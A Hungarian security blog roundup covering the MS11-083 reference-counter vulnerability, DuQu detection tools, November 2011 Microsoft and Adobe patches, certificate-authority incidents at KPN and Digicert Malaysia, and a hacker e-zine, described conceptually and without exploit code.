A problémát egy 32-bites referenciaszámláló túlcsordulása okozza. A referenciaszámlálók azt tartják nyilván, hogy egy struktúrára hány helyről hivatkoznak - ha nincs hivatkozás, a struktúra által elfoglalt memóriaterület felszabadítható. A fent említett UDP csomagfolyam küldésével elméletileg elérhető, hogy a számláló elérje a maximumát, ezután pedig egy újabb inkrementáció nullázza az értéket (a számláló átfordul). Ezt azt eredményezi, hogy a kernel úgy fogja hinni, hogy a hivatkozott struktúra felszabadítható, a felszabadítás pedig meg is történik például egy egyszerű ICMP echo üzenet fogadása esetében. Ez után a hivatkozott (már szabad) memóriaterületen a támadó elhelyezheti saját kódját, amire azonban még néhány kernel objektum hivatkozni fog, így elméletileg elérhető rendszer szintű kódfuttatás. (A PaX patch már egyébként 2008 óta védelmet nyújt a hasonló sebezhetőségekkel szemben Linuxon)

Van azonban néhány bökkenő. Először is egyszerű matematikával az ember kiszámolhatja, hogy a számláló átfordulásához szükséges 2^32 csomag elküldéséhez hétköznapi hálózaton hosszú hetek (mérések szerint nagyjából 50 nap) szükségesek. Ha ezt sikerül kivárnunk, jó eséllyel kékhalállal megpusztul a rendszer, de a legtöbb támadó valószínűleg inkább kibérelne egy botnetet néhány dollárért, mint hogy ennyi ideig malmozzon és várja, mikor szúrják ki a hálózaton a masszív UDP adatfolyamot - ha egyáltalán elérhető a célpont UDP-vel. Egy nem túl profi PoC exploit erre az esetre elérhető, működését az idő rövidsége miatt még nyilván nem sikerült ellenőrizni.

És akkor még nem beszéltünk a kódfuttatás esélyeiről: hogyan helyezzünk távolról egy megfelelő byte-szekvenciát a megfelelő memóriaterületre, éppen a felszabadulás után, de még éppen a számunka megfelelő kernel objektum hivatkozása előtt? Jó kérdés...

Mindent összevetve kétségtelenül egy érdekes hibáról van szó, az azonban nem túl valószínű, hogy a gyakorlatban erre támaszkodva fognak támadásokat végrehajtani. 

Zárszóként álljon itt egy kamu videó, aminek legalább a zenéje jó :)

Dxt3r M0rg4n csak ennyit írt, miután sikerrel belépett az RTL Klub admin felületére:

Sosem gondoltam volna, hogy ez a "tankönyvi" példa valaha élesben is szembejön

Pedig sajnos nincs új a Nap alatt :( A csatornával megpróbáltam felvenni a kapcsolatot október 27-én, válasz nem érkezett. No persze, valószínűleg nem jut túl sok erőforrás a biztonsági kérdések kezelésére, ha már a kommentek is így néznek ki:

Régebbi hír, hogy az NSS Labs megjelentetett egy DuQu kereső programot, ami a cég közleménye szerint 100%-ban, hamis pozitív találatok nélkül detektálja a kártevőt. Annak idején azért nem írtam a dologról, mert ez az eszköz egyszerű mintaillesztést használ a felismeréshez, az ilyen jellegű detekció pedig már a legtöbb elterjedt AV-ban is megtalálható.

Most viszont a kártevőt először elemző, magyar CrySys labor kiadott egy másik eszközt is, ami a érdekesebb irányokból közelíti meg a problémát:

A minta alapú felismerés mellett a program olyan .PNF fájlokat keres, melyekhez nem tartozik .INF fájl, ahogy az rendes konfigurációk esetekben lenni szokott, illetve a fájlok tartalmának entrópiáját (közérthetőbben: a bitfolyam megjósolhatatlanságának mértéke) is alapul veszi a kereséskor. Utóbbi eljárás azért lehet hatékony, mert a titkosítás (amit a kártevők általában a mintaalapú szűrések elkerülésére használnak) általában véletlennek látszó kimenetet állít elő, melynek entrópiája magas, szemben az általában sok redundanciát tartalmazó, ártalmatlan fájlokkal. 

A két alternatív módszer ugyan szolgáltathat fals pozitív eredményeket, megkerülésük viszont remélhetőleg nehezebb feladatot jelent majd a DuQu készítői számára. 

Szépen lassan minden nagy gyártó hozzá igazodik a Microsoft frissítési ciklusaihoz. Tegnap az Adobe is megjelentetett a javítócsomagot a Shockwave Playerhez, melyben négy kritikus, kódfuttatást lehetővé tevő problémát javít. 

Az egyik, .dir fájlok feldolgozásából adódó problémáról részletes elemzést közölt a Core Security.

• MS11-083: Rögtön egy izgalmas darab, nagy mennyiségű, speciálisan összeállított UDP csomagot küldve egy zárt portra kernel módú kódfuttatás érhető el. Egy referenciaszámláló csordítható túl ilyen módon, ennek következtében pedig bizonyos struktúrák idő előtt felszabadítódnak. Amennyiben a támadó elég ügyes/szerencséje van, a saját kódját helyezheti a felszabadított területre, eltérítve a TCP/IP stack működését. (Legalábbis én valami ilyesmit olvasok ki a rendelkezésre álló infókból, javítsatok ki, ha tévedek!). A probléma az XP és 2003 rendszereket érinti. Friss: itt olvasható egy rövid "elemzés".
• MS11-084: Ez a hiba egy a DuQu-shoz nagyon hasonló, beágyazott TrueType betűkészleteket érintő probléma, de ez csak DoS-ra elég. Fontos különbség továbbá, hogy a hiba triggereléséhez egy konkrét TTF fájlt kell megnyitni, nem elég ha spéci betűket használnak mondjuk egy Word doksiban. Minden támogatott Windows változat érintett, kivéve a 2008 Server Core installációk.
• MS11-085: DLL hijacking probléma a Windows Mail és Meeting Space szoftverekben Vistától felfelé. 
• MS11-086: Az Active Dircetory SSL feletti LDAP hitelesítéskor elfelejti ellenőrizni, hogy a felhasználók tanúsítványát visszavonták-e esetleg, így egy forgalomból már kivon tanúsítvánnyal rendelkező, támadó is hozzáférhet a tartományhoz. A 2008-as Itaniumokat leszámítva minden támogatott rendszer érintett.

Ahogy az várható volt, ebben a csomagban még nem szerepel a DuQu által kihasznált, beágyazott TrueType betűkészletek feldolgozásakor jelentkező sebezhetőség javítása. A jövő hónapig marad a FixIt.

Két nyugtalanító hír is érkezett a napokban:

• A holland KPN felfüggesztette a tanúsítványok kibocsátását, miután egy biztonsági vizsgálat során DDoS eszközt találtak az egyik webszerverükön. Bár jogosulatlan tanúsítványkiadásra utaló jelet egyelőre nem találtak, ennek lehetősége még nem zárható ki teljesen.
• Az Entrust alá tartozó maláj Digicerttől (nem összetévesztendő az azonos nevű, amerikai CA-val!) megvonta a bizalmat a Mozilla és a Microsoft, miután kiderült, hogy a tanúsító 512 bites kulcsokat adott ki Malajzia egyes kormányhivatalainak biztosítására, valamint nem tesz közzé visszavonási információkat sem. Az anyavállalat november 8-ig hagy időt a helyi ügyfeleknek a váltásra, utána visszavonja a Digicert köztes CA tanúsítványát.

Feltűnt az Exploit-DB-n az Owned and exp0sed harmadik száma. A mindig izgalmakat tartogató ("vajon benne vagyok-e?" :) e-zine legfrissebb száma elektronikus csalásra specializálódott fórumokat vesz célba. A bevezetőben a szerzők reflektálnak az Anonymous és a LulzSec tevékenységére, elismerve jelentőségüket, de hangsúlyozva, hogy módszereikkel nem értenek egyet, mivel azok a biztonsági ipar malmára hajtják a vizet.

Jó csemegézést!

Ha ellenőrizni szeretnétek, hogy a rosszfiúk megszerezték-e már az adataitokat, ajánlom a Pwnedlist.com-ot!